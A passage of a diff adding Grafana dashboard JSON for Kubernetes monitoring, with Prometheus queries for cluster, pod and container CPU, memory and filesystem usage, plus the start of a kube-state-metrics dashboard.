+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "max": 100,
+ "min": 0,
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "rgba(50, 172, 45, 0.97)",
+ "value": null
+ },
+ {
+ "color": "rgba(237, 129, 40, 0.89)",
+ "value": 65
+ },
+ {
+ "color": "rgba(245, 54, 54, 0.9)",
+ "value": 90
+ }
+ ]
+ },
+ "unit": "percent"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 5,
+ "w": 8,
+ "x": 16,
+ "y": 8
+ },
+ "id": 7,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "showThresholdLabels": false,
+ "showThresholdMarkers": true
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "expr": "sum (container_fs_usage_bytes{device=~\"^/dev/[sv]d[a-z][1-9]$\",id=\"/\",kubernetes_io_hostname=~\"^$Node$\"}) / sum (container_fs_limit_bytes{device=~\"^/dev/[sv]d[a-z][1-9]$\",id=\"/\",kubernetes_io_hostname=~\"^$Node$\"}) * 100",
+ "interval": "10s",
+ "intervalFactor": 1,
+ "legendFormat": "",
+ "metric": "",
+ "refId": "A",
+ "step": 10
+ }
+ ],
+ "title": "Cluster filesystem usage",
+ "type": "gauge"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "decimals": 2,
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "bytes"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 4,
+ "x": 0,
+ "y": 13
+ },
+ "id": 9,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "none",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "expr": "sum (container_memory_working_set_bytes{id=\"/\",kubernetes_io_hostname=~\"^$Node$\"})",
+ "interval": "10s",
+ "intervalFactor": 1,
+ "refId": "A",
+ "step": 10
+ }
+ ],
+ "title": "Used",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "decimals": 2,
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "bytes"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 4,
+ "x": 4,
+ "y": 13
+ },
+ "id": 10,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "none",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "expr": "sum (machine_memory_bytes{kubernetes_io_hostname=~\"^$Node$\"})",
+ "interval": "10s",
+ "intervalFactor": 1,
+ "refId": "A",
+ "step": 10
+ }
+ ],
+ "title": "Total",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "decimals": 2,
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 4,
+ "x": 8,
+ "y": 13
+ },
+ "id": 11,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "none",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "expr": "sum (rate (container_cpu_usage_seconds_total{id=\"/\",kubernetes_io_hostname=~\"^$Node$\"}[1m]))",
+ "interval": "10s",
+ "intervalFactor": 1,
+ "refId": "A",
+ "step": 10
+ }
+ ],
+ "title": "Used",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "decimals": 2,
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 4,
+ "x": 12,
+ "y": 13
+ },
+ "id": 12,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "none",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "expr": "sum (machine_cpu_cores{kubernetes_io_hostname=~\"^$Node$\"})",
+ "interval": "10s",
+ "intervalFactor": 1,
+ "refId": "A",
+ "step": 10
+ }
+ ],
+ "title": "Total",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "decimals": 2,
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "bytes"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 4,
+ "x": 16,
+ "y": 13
+ },
+ "id": 13,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "none",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "expr": "sum (container_fs_usage_bytes{device=~\"^/dev/[sv]d[a-z][1-9]$\",id=\"/\",kubernetes_io_hostname=~\"^$Node$\"})",
+ "interval": "10s",
+ "intervalFactor": 1,
+ "refId": "A",
+ "step": 10
+ }
+ ],
+ "title": "Used",
+ "type": "stat"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "decimals": 2,
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "bytes"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 4,
+ "x": 20,
+ "y": 13
+ },
+ "id": 14,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "none",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "expr": "sum (container_fs_limit_bytes{device=~\"^/dev/[sv]d[a-z][1-9]$\",id=\"/\",kubernetes_io_hostname=~\"^$Node$\"})",
+ "interval": "10s",
+ "intervalFactor": 1,
+ "refId": "A",
+ "step": 10
+ }
+ ],
+ "title": "Total",
+ "type": "stat"
+ },
+ {
+ "collapsed": false,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 16
+ },
+ "id": 35,
+ "panels": [],
+ "targets": [
+ {
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "Pods CPU usage",
+ "type": "row"
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "decimals": 3,
+ "editable": true,
+ "error": false,
+ "fieldConfig": {
+ "defaults": {
+ "links": []
+ },
+ "overrides": []
+ },
+ "fill": 0,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 7,
+ "w": 24,
+ "x": 0,
+ "y": 17
+ },
+ "height": "",
+ "hiddenSeries": false,
+ "id": 17,
+ "isNew": true,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "max": false,
+ "min": false,
+ "rightSide": true,
+ "show": true,
+ "sort": "current",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 2,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "sum (rate (container_cpu_usage_seconds_total{kubernetes_io_hostname=~\"^$Node$\",namespace=~\"^$namespace$\"}[1m])) by (pod)",
+ "interval": "10s",
+ "intervalFactor": 1,
+ "legendFormat": "{{ pod }}",
+ "metric": "container_cpu",
+ "range": true,
+ "refId": "A",
+ "step": 10
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Pods CPU usage (1m avg)",
+ "tooltip": {
+ "msResolution": true,
+ "shared": true,
+ "sort": 2,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "$$hashKey": "object:112",
+ "format": "none",
+ "label": "cores",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "$$hashKey": "object:113",
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "collapsed": true,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 24
+ },
+ "id": 39,
+ "panels": [
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "decimals": 2,
+ "editable": true,
+ "error": false,
+ "fieldConfig": {
+ "defaults": {
+ "links": []
+ },
+ "overrides": []
+ },
+ "fill": 0,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 7,
+ "w": 24,
+ "x": 0,
+ "y": 18
+ },
+ "hiddenSeries": false,
+ "id": 25,
+ "isNew": true,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "max": false,
+ "min": false,
+ "rightSide": true,
+ "show": true,
+ "sideWidth": 200,
+ "sort": "current",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 2,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "sum (container_memory_working_set_bytes{kubernetes_io_hostname=~\"^$Node$\",namespace=~\"^$namespace$\"}) by (pod)",
+ "interval": "10s",
+ "intervalFactor": 1,
+ "legendFormat": "{{ pod }}",
+ "metric": "container_memory_usage:sort_desc",
+ "range": true,
+ "refId": "A",
+ "step": 10
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Pods memory usage",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 2,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "$$hashKey": "object:181",
+ "format": "bytes",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "$$hashKey": "object:182",
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ }
+ ],
+ "targets": [
+ {
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "Pods memory usage",
+ "type": "row"
+ },
+ {
+ "collapsed": true,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 25
+ },
+ "id": 37,
+ "panels": [
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "decimals": 3,
+ "editable": true,
+ "error": false,
+ "fieldConfig": {
+ "defaults": {
+ "links": []
+ },
+ "overrides": []
+ },
+ "fill": 0,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 7,
+ "w": 24,
+ "x": 0,
+ "y": 26
+ },
+ "height": "",
+ "hiddenSeries": false,
+ "id": 24,
+ "isNew": true,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": false,
+ "max": false,
+ "min": false,
+ "rightSide": true,
+ "show": true,
+ "sort": "current",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 2,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "sum (rate (container_cpu_usage_seconds_total{container!=\"POD\",kubernetes_io_hostname=~\"^$Node$\",namespace=~\"^$namespace$\"}[1m])) by (container, pod)",
+ "hide": false,
+ "interval": "10s",
+ "intervalFactor": 1,
+ "legendFormat": "pod: {{ pod }} | {{ container }}",
+ "metric": "container_cpu",
+ "range": true,
+ "refId": "A",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "expr": "sum (rate (container_cpu_usage_seconds_total{image!=\"\",name!~\"^k8s_.*\",kubernetes_io_hostname=~\"^$Node$\",namespace=~\"^$namespace$\"}[1m])) by (kubernetes_io_hostname, name, image)",
+ "hide": false,
+ "interval": "10s",
+ "intervalFactor": 1,
+ "legendFormat": "docker: {{ kubernetes_io_hostname }} | {{ image }} ({{ name }})",
+ "metric": "container_cpu",
+ "refId": "B",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "expr": "sum (rate (container_cpu_usage_seconds_total{rkt_container_name!=\"\",kubernetes_io_hostname=~\"^$Node$\",namespace=~\"^$namespace$\"}[1m])) by (kubernetes_io_hostname, rkt_container_name)",
+ "interval": "10s",
+ "intervalFactor": 1,
+ "legendFormat": "rkt: {{ kubernetes_io_hostname }} | {{ rkt_container_name }}",
+ "metric": "container_cpu",
+ "refId": "C",
+ "step": 10
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Containers CPU usage (1m avg)",
+ "tooltip": {
+ "msResolution": true,
+ "shared": true,
+ "sort": 2,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "$$hashKey": "object:337",
+ "format": "none",
+ "label": "cores",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "$$hashKey": "object:338",
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ }
+ ],
+ "targets": [
+ {
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "Containers CPU usage",
+ "type": "row"
+ },
+ {
+ "collapsed": true,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 26
+ },
+ "id": 41,
+ "panels": [
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "decimals": 2,
+ "editable": true,
+ "error": false,
+ "fieldConfig": {
+ "defaults": {
+ "links": []
+ },
+ "overrides": []
+ },
+ "fill": 0,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 7,
+ "w": 24,
+ "x": 0,
+ "y": 27
+ },
+ "hiddenSeries": false,
+ "id": 27,
+ "isNew": true,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "max": false,
+ "min": false,
+ "rightSide": true,
+ "show": true,
+ "sideWidth": 200,
+ "sort": "current",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 2,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "sum (container_memory_working_set_bytes{container!=\"POD\",kubernetes_io_hostname=~\"^$Node$\",namespace=~\"^$namespace$\"}) by (container, pod)",
+ "interval": "10s",
+ "intervalFactor": 1,
+ "legendFormat": "pod: {{ pod }} | {{ container }}",
+ "metric": "container_memory_usage:sort_desc",
+ "range": true,
+ "refId": "A",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "expr": "sum (container_memory_working_set_bytes{image!=\"\",name!~\"^k8s_.*\",kubernetes_io_hostname=~\"^$Node$\",namespace=~\"^$namespace$\"}) by (kubernetes_io_hostname, name, image)",
+ "interval": "10s",
+ "intervalFactor": 1,
+ "legendFormat": "docker: {{ kubernetes_io_hostname }} | {{ image }} ({{ name }})",
+ "metric": "container_memory_usage:sort_desc",
+ "refId": "B",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "expr": "sum (container_memory_working_set_bytes{rkt_container_name!=\"\",kubernetes_io_hostname=~\"^$Node$\",namespace=~\"^$namespace$\"}) by (kubernetes_io_hostname, rkt_container_name)",
+ "interval": "10s",
+ "intervalFactor": 1,
+ "legendFormat": "rkt: {{ kubernetes_io_hostname }} | {{ rkt_container_name }}",
+ "metric": "container_memory_usage:sort_desc",
+ "refId": "C",
+ "step": 10
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Containers memory usage",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 2,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "$$hashKey": "object:406",
+ "format": "bytes",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "$$hashKey": "object:407",
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ }
+ ],
+ "targets": [
+ {
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "Containers memory usage",
+ "type": "row"
+ }
+ ],
+ "refresh": "10s",
+ "schemaVersion": 37,
+ "style": "dark",
+ "tags": [
+ "kubernetes"
+ ],
+ "templating": {
+ "list": [
+ {
+ "allValue": "",
+ "current": {
+ "selected": false,
+ "text": "All",
+ "value": "$__all"
+ },
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "definition": "label_values(namespace)",
+ "hide": 0,
+ "includeAll": true,
+ "multi": false,
+ "name": "namespace",
+ "options": [],
+ "query": {
+ "query": "label_values(namespace)",
+ "refId": "prometheus-namespace-Variable-Query"
+ },
+ "refresh": 1,
+ "regex": "",
+ "skipUrlSync": false,
+ "sort": 0,
+ "tagValuesQuery": "",
+ "tagsQuery": "",
+ "type": "query",
+ "useTags": false
+ },
+ {
+ "allValue": ".*",
+ "current": {
+ "selected": false,
+ "text": "All",
+ "value": "$__all"
+ },
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "definition": "",
+ "hide": 0,
+ "includeAll": true,
+ "multi": false,
+ "name": "Node",
+ "options": [],
+ "query": {
+ "query": "label_values(kubernetes_io_hostname)",
+ "refId": "prometheus-Node-Variable-Query"
+ },
+ "refresh": 1,
+ "regex": "",
+ "skipUrlSync": false,
+ "sort": 0,
+ "tagValuesQuery": "",
+ "tagsQuery": "",
+ "type": "query",
+ "useTags": false
+ }
+ ]
+ },
+ "time": {
+ "from": "now-5m",
+ "to": "now"
+ },
+ "timepicker": {
+ "refresh_intervals": [
+ "5s",
+ "10s",
+ "30s",
+ "1m",
+ "5m",
+ "15m",
+ "30m",
+ "1h",
+ "2h",
+ "1d"
+ ],
+ "time_options": [
+ "5m",
+ "15m",
+ "1h",
+ "6h",
+ "12h",
+ "24h",
+ "2d",
+ "7d",
+ "30d"
+ ]
+ },
+ "timezone": "browser",
+ "title": "Kubernetes Monitoring Dashboard",
+ "uid": "msqzbWjWk",
+ "version": 6,
+ "weekStart": ""
+ }
+ kube_state_metrics.json: |-
+ {
+ "annotations": {
+ "list": [
+ {
+ "builtIn": 1,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "enable": true,
+ "hide": true,
+ "iconColor": "rgba(0, 211, 255, 1)",
+ "name": "Annotations & Alerts",
+ "target": {
+ "limit": 100,
+ "matchAny": false,
+ "tags": [],
+ "type": "dashboard"
+ },
+ "type": "dashboard"
+ }
+ ]
+ },
+ "description": "Summary metrics about kube-state-metrics v2 version(https://github.com/kubernetes/kube-state-metrics); Referenced 6417",
+ "editable": true,
+ "fiscalYearStartMonth": 0,
+ "gnetId": 13332,
+ "graphTooltip": 1,
+ "id": 2,
+ "links": [
+ {
+ "asDropdown": true,
+ "icon": "external link",
+ "includeVars": true,
+ "keepTime": false,
+ "tags": [
+ "kubernetes-app"
+ ],
+ "title": "Dashboards",
+ "type": "dashboards"
+ }
+ ],
+ "liveNow": false,
+ "panels": [
+ {
+ "collapsed": false,
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 0
+ },
+ "id": 58,
+ "panels": [],
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "Cluster",
+ "type": "row"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "max": 100,
+ "min": 0,
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "#299c46",
+ "value": null
+ },
+ {
+ "color": "rgba(237, 129, 40, 0.89)",
+ "value": 80
+ },
+ {
+ "color": "#d44a3a",
+ "value": 90
+ }
+ ]
+ },
+ "unit": "percentunit"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 4,
+ "w": 6,
+ "x": 0,
+ "y": 1
+ },
+ "id": 4,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "showThresholdLabels": false,
+ "showThresholdMarkers": true
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_pod_info{cluster=~\"$cluster\",node=~\"$node\"}) / sum(kube_node_status_allocatable{cluster=~\"$cluster\",resource=\"pods\",node=~\"$node\"})",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 1,
+ "legendFormat": "",
+ "refId": "A"
+ }
+ ],
+ "title": "Cluster Pod Requested",
+ "type": "gauge"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "max": 100,
+ "min": 0,
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "#299c46",
+ "value": null
+ },
+ {
+ "color": "rgba(237, 129, 40, 0.89)",
+ "value": 80
+ },
+ {
+ "color": "#d44a3a",
+ "value": 90
+ }
+ ]
+ },
+ "unit": "percentunit"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 4,
+ "w": 6,
+ "x": 6,
+ "y": 1
+ },
+ "id": 5,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "showThresholdLabels": false,
+ "showThresholdMarkers": true
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "sum(kube_pod_container_resource_requests{cluster=~\"$cluster\",resource=\"cpu\",node=~\"$node\"})/ sum(kube_node_status_allocatable{node=~\"$node\",cluster=~\"$cluster\",resource=\"cpu\"})",
+ "format": "time_series",
+ "intervalFactor": 1,
+ "refId": "A"
+ }
+ ],
+ "title": "Cluster CPU Requested",
+ "type": "gauge"
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
